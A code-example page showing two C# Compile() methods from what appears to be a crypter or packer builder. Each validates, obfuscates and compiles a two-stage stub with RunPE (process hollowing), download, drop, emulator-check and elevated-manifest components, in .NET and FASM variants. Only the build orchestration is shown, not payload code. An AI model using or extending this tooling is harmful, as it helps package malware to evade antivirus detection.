Пример #1
0
        /// <summary>
        /// Compiles the project with the current settings.
        /// </summary>
        public override void Compile()
        {
            try
            {
                // Validate required files & directories
                Helper.ValidateFiles
                (
                    ApplicationBase.Path,
                    @"Stub\dotnet\"
                );
                if (Errors.HasErrors)
                {
                    return;
                }

                // Copy source files to intermediate directory
                DirectoryEx.CopyTo(Path.Combine(ApplicationBase.Path, @"Stub\dotnet"), IntermediateDirectorySource);

                // Validate required source files
                Helper.ValidateFiles
                (
                    IntermediateDirectorySource,
                    "Stub.cs",
                    "Stage2.cs",
                    "Api.cs",
                    "Compression.cs",
                    "Download.cs",
                    "Drop.cs",
                    "Emulator.cs",
                    "GetResource.cs",
                    "Invoke.cs",
                    "RunPE.cs",
                    @"Resources\default.manifest",
                    @"Resources\elevated.manifest"
                );
                if (Errors.HasErrors)
                {
                    return;
                }

                // Obfuscate shared code used by Stub and Stage2
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Api.cs"));
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Compression.cs"));
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Download.cs"));
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Drop.cs"));
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Emulator.cs"));
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("GetResource.cs"));
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("Invoke.cs"));
                Obfuscator.ObfuscateFile(GetIntermediateSourcePath("RunPE.cs"));

                // Validate that RunPE and .NET invoked executables match the bitness of the stub
                Helper.ValidateRunPEBitness(Is64Bit ? 64 : 32);
                Helper.ValidateInvokeBitness(Is64Bit ? 64 : 32);
                if (Errors.HasErrors)
                {
                    return;
                }

                // Compile stage2
                CompileStage2();
                if (Errors.HasErrors)
                {
                    return;
                }

                // Assemble stage2
                AssembleStage2();
                if (Errors.HasErrors)
                {
                    return;
                }

                // Compile stub
                CompileStub();
                if (Errors.HasErrors)
                {
                    return;
                }

                // Assemble stub
                AssembleStub();
            }
            catch (ErrorException ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details);
            }
            catch (Exception ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling project.", ex.GetFullStackTrace());
            }
        }
Пример #2
0
        /// <summary>
        /// Compiles the project with the current settings.
        /// </summary>
        public override void Compile()
        {
            try
            {
                // Validate required files & directories
                Helper.ValidateFiles
                (
                    ApplicationBase.Path,
                    @"FASM\FASM.exe",
                    @"FASM\INCLUDE\",
                    @"Stub\pe32\"
                );
                if (Errors.HasErrors)
                {
                    return;
                }

                // Copy source files to intermediate directory
                DirectoryEx.CopyTo(Path.Combine(ApplicationBase.Path, @"Stub\pe32"), IntermediateDirectorySource);

                // Validate required source files
                Helper.ValidateFiles
                (
                    IntermediateDirectorySource,
                    "Stub.asm",
                    "Stage2.asm",
                    @"Obfuscator\nop.txt",
                    @"Obfuscator\nop_minimal.txt",
                    @"Obfuscator\register.txt",
                    @"Resources\default.manifest",
                    @"Resources\elevated.manifest"
                );
                if (Errors.HasErrors)
                {
                    return;
                }

                // Validate that RunPE uses valid 32-bit PE files
                Helper.ValidateRunPEBitness(32);
                if (Errors.HasErrors)
                {
                    return;
                }

                // Preprocess files
                AssemblyPreprocessor.PreprocessDirectory(IntermediateDirectorySource, false);

                // Compile stage2
                CompileStage2();
                if (Errors.HasErrors)
                {
                    return;
                }

                // Assemble stage2
                AssembleStage2();
                if (Errors.HasErrors)
                {
                    return;
                }

                // Compile stub
                CompileStub();
                if (Errors.HasErrors)
                {
                    return;
                }

                // Assemble stub
                AssembleStub();
            }
            catch (ErrorException ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, ex.Message, ex.Details);
            }
            catch (Exception ex)
            {
                Errors.Add(ErrorSource.Compiler, ErrorSeverity.Error, "Unhandled " + ex.GetType() + " while compiling project.", ex.GetFullStackTrace());
            }
        }